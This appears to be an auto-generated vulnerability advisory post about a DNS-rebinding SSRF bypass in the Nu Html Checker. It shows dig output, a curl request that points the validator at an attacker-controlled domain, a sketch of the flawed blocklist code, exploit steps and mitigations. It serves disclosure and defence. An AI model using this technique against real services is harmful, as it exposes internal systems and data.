Listen to this Post
The Nu Html Checker (vnu) acts as a web-based HTML validation service. Its SSRF vulnerability stems from an inadequate hostname validation mechanism. The service is designed to fetch external resources, such as DTDs or linked stylesheets, for validation purposes. It implements a blocklist that denies requests directly to obvious loopback addresses like `localhost` and 127.0.0.1. However, this defense relies solely on comparing the initial DNS resolution of the provided hostname. An attacker can exploit this by controlling a domain that initially resolves to a permitted, external IP address to pass the validation check. After passing validation, the attacker can use DNS rebinding to make the same domain name resolve to a local loopback address (e.g., `127.0.0.1` or ::1) before the checker’s HTTP client establishes the connection to fetch the resource. This allows the attacker to bypass the blocklist and force the validator server to make HTTP/HTTPS requests to internal services on localhost or within its network segment, potentially accessing sensitive admin interfaces or metadata endpoints.
Platform: Nu Html Checker (vnu)
Version: Latest (23f090a)
Vulnerability: SSRF Bypass
Severity: Moderate
Date: 2026-01-16
Prediction: Patch Q1 2026
What Undercode Say:
Simulate DNS rebinding for testing (conceptual)
$ dig +short attacker-controlled.tld
> 93.184.216.34 Initial legitimate IP
$ dig +short attacker-controlled.tld
> 127.0.0.1 Rebounded to loopback
Example curl to vulnerable endpoint (if API exposed)
$ curl -X POST ‘http://validator-host/check’ –data ‘uri=http://attacker-controlled.tld/internal-endpoint’
Code snippet showing weak validation logic (illustrative)
def is_allowed_host(hostname): blocked = ['localhost', '127.0.0.1', '::1'] resolved_ip = dns_resolve(hostname) Initial resolution only if hostname in blocked or resolved_ip in blocked: return False return True Bypass possible if IP changes after this check
How Exploit:
Attacker registers domain.
Configures short TTL, alternating DNS A records.
Submits domain to validator endpoint.
DNS rebinds to loopback IP.
Validator fetches internal service data.
Protection from this CVE:
Implement allowlist for external resources.
Re-resolve before socket connection.
Network egress filtering for services.
Validate entire URL scheme/port.
Impact:
Internal service discovery.
Sensitive data exfiltration.
Potential network pivot.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
